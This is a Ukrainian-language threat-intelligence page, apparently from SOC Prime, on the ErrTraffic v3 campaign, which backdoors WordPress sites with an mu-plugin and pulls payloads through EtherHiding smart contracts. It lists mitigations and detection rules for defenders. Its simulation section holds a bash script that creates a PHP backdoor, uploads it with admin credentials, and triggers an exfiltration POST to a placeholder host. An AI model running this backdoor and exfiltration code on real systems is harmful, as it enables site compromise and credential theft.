SOC Prime Bias: Середній

16 Apr 2026 15:04

ErrTraffic v3 використовує EtherHiding у кампаніях ClickFix

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
ErrTraffic v3 використовує EtherHiding у кампаніях ClickFix
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Звіт описує нову кампанію з використанням інструменту ErrTraffic v3 для компрометації сайтів WordPress шляхом встановлення му‑плагіну з бекдором. Бекдор впроваджує заплутаний JavaScript, який отримує додаткові корисні навантаження через засіб EtherHiding на основі блокчейну. Фінальна стадія доставляє шкідливий код, специфічний для ОС, включно із зашифрованим корисним навантаженням PowerShell, у браузери жертв. Помилки оперативної безпеки, такі як жорстко закодовані ключі, розкривають інфраструктуру.

Розслідування

Команда LevelBlue SpiderLabs досліджувала му‑плагін бекдор для WordPress, вбудований JavaScript маячок і панель управління ErrTraffic V3. Вони відстежили використання статичних XOR ключів, декодування Base64 і виклики смарт‑контрактів до нод Polygon RPC. Аналіз також виявив жорстко закодований ключ аутентифікації, що використовується для API зв’язку, та картографував хостинг-інфраструктуру кількох провайдерів з куленепробивним захистом.

Пом’якшення

Захисникам слід видалити му‑плагін бекдор, блокувати відомі зловмисні TLD та діапазони IP, моніторити використання жорстко закодованого API ключа та обмежити вихідні з’єднання до кінцевих точок RPC блокчейну. Регулярно перевіряйте встановлення WordPress на наявність несподіваних му‑плагінів та перевіряйте цілісність файлів. Розгорніть веб‑аплікаційні фаєрволи для виявлення маячкових JavaScript патернів.

Відповідь

Після виявлення ізолюйте постраждалий веб-сервер, видаліть файли бекдору та змініть всі облікові дані адміністратора. Блокуйте визначені зловмисні домени та кінцеві точки RPC на мережевому периметрі. Проведіть повний криміналістичний аналіз для виявлення будь-яких завантажених корисних навантажень і моніторте подальшу C2 активність із використанням розкритого токена API.

"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["<b>Дія</b> – <b>T1659 Ін’єкція контенту</b><br/>Використання сайту WordPress для завантаження зловмисного му‑плагіну (sessionu2011manager.php)"] class step_initial_access action step_persistence["<b>Дія</b> – <b>T1671 Інтеграція хмарних застосунків</b> / <b>T1525 Встановлення внутрішнього образу</b><br/>Бекдор встановлюється як муcту2011використовуваний плагін, що виконується при кожному запиті"] class step_persistence action step_credential_access["<b>Дія</b> – <b>T1056.003 Захоплення вводу</b><br/>Впроваджений JavaScript захоплює облікові дані адміністратора та відправляє їх атакуючим"] class step_credential_access action step_c2["<b>Дія</b> – <b>T1102.003 Односторонній зв’язок веб-служби</b><br/>Маяк відправляє дані відвідувачів через navigator.sendBeacon до доменів атакуючих"] class step_c2 action step_obfuscation["<b>Дія</b> – <b>T1027 Заплутані файли</b><br/>Корисні навантаження кодуються за допомогою Base64 і XOR, вбудовані у вбудовані скрипти"] class step_obfuscation action step_smart_contract["<b>Дія</b> – <b>T1059.009 Хмарний API</b><br/>Скрипт здійснює запити до кінцевих точок RPC Polygon та смарт-контрактів (EtherHiding) для URL-адрес"] class step_smart_contract action step_dead_drop["<b>Дія</b> – <b>T1102.001</b><br/>Використання блокчейну як заглушки для конфігурації C2"] class step_dead_drop action step_encrypted["<b>Дія</b> – <b>T1573.001 Симетричне шифрування</b><br/>Трафік API шифрується за допомогою AESu2011GCM або RC4 з використанням жорстко закодованого ключа"] class step_encrypted action step_execution["<b>Дія</b> – <b>T1059.001 PowerShell</b><br/>Завантажувач створює тимчасовий каталог, записує виконуваний файл та отримує специфічне для ОС корисне навантаження"] class step_execution action step_priv_esc["<b>Дія</b> – <b>T1546.016 Пакети інсталятора</b><br/>Скрипт PowerShell реєструється як пакет інсталятора для підтримки присутності"] class step_priv_esc action %% Connections step_initial_access –>|веде до| step_persistence step_persistence –>|дозволяє| step_credential_access step_credential_access –>|надає| step_c2 step_c2 –>|використовує| step_obfuscation step_obfuscation –>|сприяє| step_smart_contract step_smart_contract –>|зберігає| step_dead_drop step_dead_drop –>|доставляє| step_encrypted step_encrypted –>|підтримує| step_execution step_execution –>|дозволяє| step_priv_esc "

Потік атаки

Детекції

Підозріла командна строка містить UNC шлях із виконуваним файлом як аргумент (через cmdline)

Команда SOC Prime
15 квітня 2026

Можливі шаблони атаки ClickFix в командній строкі (через cmdline)

Команда SOC Prime
15 квітня 2026

Можливий процес виконання Powershell в підозрілому каталозі (через cmdline)

Команда SOC Prime
15 квітня 2026

Виклик підозрілих методів .NET з Powershell (через powershell)

Команда SOC Prime
15 квітня 2026

Можливі індикатори обфускації Powershell (через powershell)

Команда SOC Prime
15 квітня 2026

Можлива спроба зловживання Publicnode Ethereum як каналу C2 (через dns_query)

Команда SOC Prime
15 квітня 2026

Підозріле командування та контроль через незвичайний домен верхнього рівня (TLD) DNS запит (через dns)

Команда SOC Prime
15 квітня 2026

Виявлення обфусцованого корисного навантаження PowerShell з примусовим використанням TLS 1.2 [Windows Powershell]

Правила SOC Prime AI
15 квітня 2026

Виявлення вбудованого JavaScript і бекдору WordPress [Вебсервер]

Правила SOC Prime AI
15 квітня 2026

Виявлення активності ErrTraffic V3 на скомпрометованих сайтах WordPress [Вебсервер]

Правила SOC Prime AI
15 квітня 2026

Виконання симуляції

Передумова: Перевірка телеметрії та базових налаштувань повинна бути успішно пройдена.

Обґрунтування: Цей розділ детально описує точне виконання техніки противника (TTP), призначене для запуску правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати визначені TTP та мати на меті генерувати саме таку телеметрію, яку очікує логіка виявлення. Абрстрактні або нерелевантні приклади призведуть до неправильної діагностики.

  • Нападницький наратив та команди:
    Зловмисник скомпрометував обліковий запис адміністратора WordPress і завантажує зловмисний файл PHP з назвою session-manager.php до веб-кореня. Файл містить секцію HTML, яка на вигляд нешкідлива і закінчується вбудованим <script> блоком, коментар до якого читається як “JavaScript вбудований в кінець секції”. Скрипт здійснює приховану ексфільтрацію даних у хмарне сховище (симуляція через curl POST). Використання navigator.sendBeacon() не відбувається, зберігаючи запит у вікні виявлення правила.

    1. Завантаження зловмисного бекдору:
      curl -u admin:password -F "file=@session-manager.php" 
           "http://target.example.com/wp-admin/async-upload.php"
    2. Запуск бекдору (генерує телеметрію, що запускає виявлення):
      curl -s "http://target.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
  • Скрипт регресійного тестування:

    #!/usr/bin/env bash
    #
    # Симуляція завантаження та виклик зловмисного бекдору WordPress
    # який містить точну фразу, за якою стежать Sigma правила.
    #
    set -euo pipefail
    
    TARGET="http://target.example.com"
    ADMIN_USER="admin"
    ADMIN_PASS="password"
    
    # 1. Створення зловмисного PHP навантаження локально
    cat > session-manager.php <<'EOF'
    <?php
    // JavaScript вбудований в кінець секції
    echo "<!DOCTYPE html><html><body>";
    echo "<script>/* зловмисний код */</script>";
    echo "</body></html>";
    // Простий ексфільтраційний штуцер (без sendBeacon)
    if ($_GET['cmd'] === 'exfiltrate') {
        $data = base64_encode('stolen_credentials');
        $url = "https://malicious-storage.example.com/upload";
        $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data))));
        $context = stream_context_create($options);
        file_get_contents($url, false, $context);
    }
    ?>
    EOF
    
    # 2. Завантаження навантаження через кінцеву точку асинхронного завантаження WordPress
    curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" 
         "${TARGET}/wp-admin/async-upload.php" >/dev/null
    
    echo "[+] Зловмисний session-manager.php завантажено"
    
    # 3. Виклик бекдору для генерування трафіка, що видно для виявлення
    curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null
    
    echo "[+] Викликано бекдор – телеметрія виявлення тепер має бути присутня"
    
    # 4. Необов'язково: пауза для засвоєння SIEM
    sleep 5
  • Команди очищення:

    # Видалення зловмисного файлу з сервера (вимагає адміністратора SSH доступу)
    ssh admin@target.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php"
    echo "[+] Очищення завершено – бекдор видалено"